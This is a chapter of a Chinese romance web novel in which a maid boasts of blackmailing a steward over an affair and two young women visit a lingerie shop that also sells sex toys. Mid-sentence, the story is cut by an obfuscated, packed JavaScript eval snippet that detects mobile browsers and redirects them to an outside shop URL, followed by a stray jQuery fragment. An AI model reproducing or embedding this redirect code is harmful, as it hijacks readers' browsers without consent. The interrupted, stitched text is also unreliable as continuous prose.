“故晓?你怎会在这?”香盈一双大眼睛忽闪忽闪的,疑惑的看了看眼前的女子,而后又谨慎的环视四周一圈,这才凑近故晓压低声音道:“你那日不是说,你要去柳国公府应召丫鬟的吗?”
故晓嘿嘿笑了两声,露出两颗俏皮的虎牙,得意的说道:“我现在的身份就是柳国公府的丫鬟啊。”
听故晓这一说,香盈便是更加不解,她看了看故晓周围,并无她人。按沈府的规矩来说,应召进来的新丫鬟,头几天都需要留在府内学习典章制度,怎能独自一人出府,莫非他们国公府内的丫鬟便是这般与众不同?
故晓像是看出了香盈的困惑,咧着唇又笑了笑,凑近她搭上那小小的肩膀,轻声说道:
“上天待我不薄,入府第一天就给我送上一份大礼。”
香盈见她眉飞色舞,忽然想起那日在马车上,故晓说她喜欢康行简的事。往日读过的话本子里某个情节蓦地跳进脑海,香盈眸子一亮,轻声试探:
“……你、你把康行简……睡了?”
香盈不太确定。
故晓:“……”
故晓不可置信地将搭在她肩上的手放下,仔仔细细上下打量了她一会,最终也只是得出一个疑问的结论:她居然如此奔放?
真是……喜欢极了!
故晓啧了一声,灼灼地望着她,由衷感叹道:“香盈啊,你还真是人不可貌相啊。”
什么意思?香盈轻皱着眉心,对于故晓的话,完全一个字也听不明白。莫非是自己说错了,难不成是康行简将她…………!!
……难怪她这般愉快。
故晓瞥了香盈一眼,也不管她到底在想些什么,只又凑近道:“他们柳国公府的管事叫海旺”
香盈越听越糊涂了。
故晓接着道:“那位海旺管事,成了亲,家中有位美丽的娇娘。”
“……你难不成是移情别恋,觉得康行简终不是良配,又恋上了这位海管事,想要做他的外室?”
香盈虽觉着故晓对康行简的喜欢不过是一时兴起,却没想到这“兴”去得如此快,转而竟落到旁人头上,还是个有家室的管事。
故晓听着这话,嘴角僵硬得抽搐几下,两眼一黑,险些未站稳。
香盈见她脚下虚晃,下意识就伸出手去相扶。只她定不是自己这般柔弱身躯,冷风一吹便要卧床,莫不是昨夜……
香盈还未开口,便被故晓打断。
“那海管事都快五十了,做他的外室我图什么?图他软趴趴?”故晓撇了撇嘴,嫌弃道:“我是想说,他不是从乡下新娶了个美娇娘吗?我就特别好奇,到底是什么样的美娇娘,能够让他年纪一大把了,还花一大把银子非要娶来。所以我就偷偷跟着那海管事回了家,你猜,我看到了什么?”
“看,看到了海管事和她夫人。”香盈脱口而出。
故晓来了兴趣,摇摇头解释道:“我起初也以为和他亲嘴子的是他夫人,可后面从屋子外面,又进来一个年轻的妇人,见到里面的场景,只捂着嘴流眼泪,那个和海管事亲嘴子的女人,她居然喊那流眼泪的女人做女儿!”
香盈:“……”
故晓:“这事除了我知道,估计也没什么人知道了,二女共侍一夫,这事传出去,那海管事的脸怕是要丢到边疆去了。”
“所以,你就用这事威胁他?”香盈终于是明白了事情的始末。
“你终于答对了。”故晓轻叹一口气。若是没这事情从天而降,她也不能在柳国公府来去自如,也不可能直接去伺候康行简。
只不过这几日康行简跟着柳国公一家人去了松山寺祈福,还得过些时日才回。
有他人的把柄捏在手中固然是一把利器,可这利器有朝一日会不会变成刺向自己的刃呢?
香盈本想开口提醒,可从她那日袭进马车的做派,便可以看出,她并不是一位循规蹈矩的闺阁女子,自己的担忧,可能对于她来说,并不能值得一提。
“……那你今日出门是?”
“来这里买东西啊。”故晓看了看这琳琅纷纭的商品,转而又将视线落向香盈,坏笑道:“和你一样。”
香盈见她一脸浪笑,一抹绯红悄悄染上耳尖,只是她心中尤是不解,买个肚兜而己,需要笑得这般不正经吗?
“我前几日便听说这里要开一个这样的铺子,只觉得稀奇,又觉得方便。”故晓歪着脑袋疑惑地看着香盈:“你这样恬静乖巧的姑娘,居然也会跑到这样的铺子里来,你的心中,莫非住了一头想要吃人的野兽不成?”
“我、我也是今日出门才见这铺子开业的,想着进来沾沾店家的喜气。”
话音刚落,那位店家小娘子的声音突然柔柔的在耳边响起,香盈转身,只见那位店家小娘子仍是那副笑吟吟模样:
“有二位这样花一般的娇娘光临,酥月可谓真是蓬荜生辉,该是我沾你们的福气哩。”
她……她做什这般看着自己?香盈被那店家小娘子含笑的目光瞧得有些不自在,微微垂眸,避开了视线。
“我叫若梦,不知道可否知道二位姑娘的名字?”
故晓只豪爽笑了笑,直接介绍道:“我叫故晓。她叫香盈。”
“我年龄比你们大些,便就托大,唤你们一声晓晓妹妹和盈盈妹妹啦。”若梦柔柔笑着,之后便招呼着两人一同走到一架有些隐秘的柜子前,神神秘秘地打开柜子,从内拿了一小盒子出来。
故晓却像是知道此里是什么物件似的,兴致勃勃道:“是那个东西吗?”
若梦只捂着唇笑了笑,似故晓这般爽朗的女子,虽见的不在少数,可她尤爱像香盈这等容易羞涩的姑娘,逗起来,小脸蛋红扑扑的,可爱极了。
“盈盈妹妹,可有心仪的男子?”
香盈摇摇头,心中却是不明白,这盒子里面的东西与中意的男子有甚关系?
故晓见她摇头,立马望着若梦熟络道:“若梦姐姐,盈盈妹妹没有,可晓晓妹妹有啊。”
若梦原先是春心阁的姑娘,春心阁又分为南楼和北楼,北楼专门接待男客,而南楼便是只接待女客。两边独立并不互通,接待男客的只能接待男客,并不能逾矩接待女客,反之亦然。
可即便这样,春心阁却是有一个不成文的规定,若是想要赎身离开春心阁,那么南楼的姑娘便是需要男客为之赎身,若是北楼的姑娘便是需要女客人帮之赎身。
而若梦身为南楼的姑娘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111684|195874||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,能找到男客为自己赎身,按她的话来说,真是路边的狗屎踩多了,有朝一日也行了狗屎运。
若梦接待的一位女客,她的丈夫是北楼的常客,两夫妻因着利益关系才成的婚,彼此之间没有任何感情,因是忌惮女客家中的关系不敢纳妾,那女客原也不喜自己丈夫,加上她也是一位花花肠子,喜爱找姑娘,又常会去有男倌的地方。便向她丈夫豪言道,只管放心大胆的去找姑娘,她决不在背后嚼舌。
若梦也是因着与这女客聊的来,那女客知晓若梦存够了银子,想要跳出这个火炕,便大手一挥,帮了这个小忙。
若梦在春心阁待了许多年,阅人无数,第一眼见故晓,便能看出此人情窦初开,有了中意的人,她含着笑望着故晓:“知道你有。”若梦又从柜子内拿出一个小盒子,递给故晓:“我这多的是,只需你要。”
故晓接过后,打开一角探眼看了看,唇角满意的扬了起来,香盈看着故晓,只觉得她那嘴角快要翘到后脑勺去了。
究竟是什么物件呢?看一看便能高兴成这般。
香盈忍不住好奇,也探出脑袋挨着故晓看了看盒子内的东西,不看不打紧,这一看,香盈便恨不得在原地刨个坑将自己埋起来。
那晚与沈筠藏在假山那处偷看那男人的,似乎比这还要蓬勃。
噗嗤噗嗤的水声,鬼哭狼嚎的叫声似乎又缠上耳畔,还有沈筠那双凌冽的眼睛又忽然浮现,紧紧将香盈裹住不放。
只是想到这处,她突然回想起来,她的那方手帕……似乎掉在那了。
不知会不会被沈筠拾到,又会不会被他当做碍眼的物件丢掉。
一时之间,香盈心中七上八下的,只想现在就去找沈筠问问才好。
故晓和若梦两人看着脸颊红透的香盈,相视一笑,抿唇不语。
若梦打趣道:“盈盈妹妹虽没有相好的男子,可这阅历却实在颇深啊。”
故晓怀里抱着盒子,接着调侃道:“盈盈妹妹平时都看的什么话本子啊,也借给我瞧瞧。”
香盈垂下小小的脑袋,躲开她们二人戏谑的目光,掩饰火热热的脸蛋,可那一抹绯红已经从耳尖一直蔓延至后颈。
那一棒即使是闭上眼睛也挥之不去了。
最后还是若梦见香盈实在不能再逗,便收了话题,而故晓因着有事不能多留,便付了银子抱着盒子走了。
若梦也向香盈推销了三件小衣,毕竟买三件送两件,任谁看了都会心动,可香盈却摇摇头拒绝道:“若梦姐姐实在抱歉,我这体质有些特殊,寻常布料我用着会发痒起疹子,只用着云玉坊的瑶光布才好。”
若梦那小衣一拿出来,香盈的眼神便亮了又亮,久久都不能离开。
可惜……
若梦见她实在喜欢,心一软,便忍痛拿出来两件递到香盈手上:“起不起疹子的,试了才知道不是,云玉坊的瑶光布我也听过,是上乘的料子,可银子也不客气。我这两条啊你先拿回去穿穿,若是痒了你丢了便是,若是完好,你以后可要多多介绍一些姐妹来光顾姐姐的生意啊。”
她凑近香盈,望着她怔怔地眼神,轻声补了一句:“我这啊,不光只卖小衣,房中那些取乐的东西,我也有的。”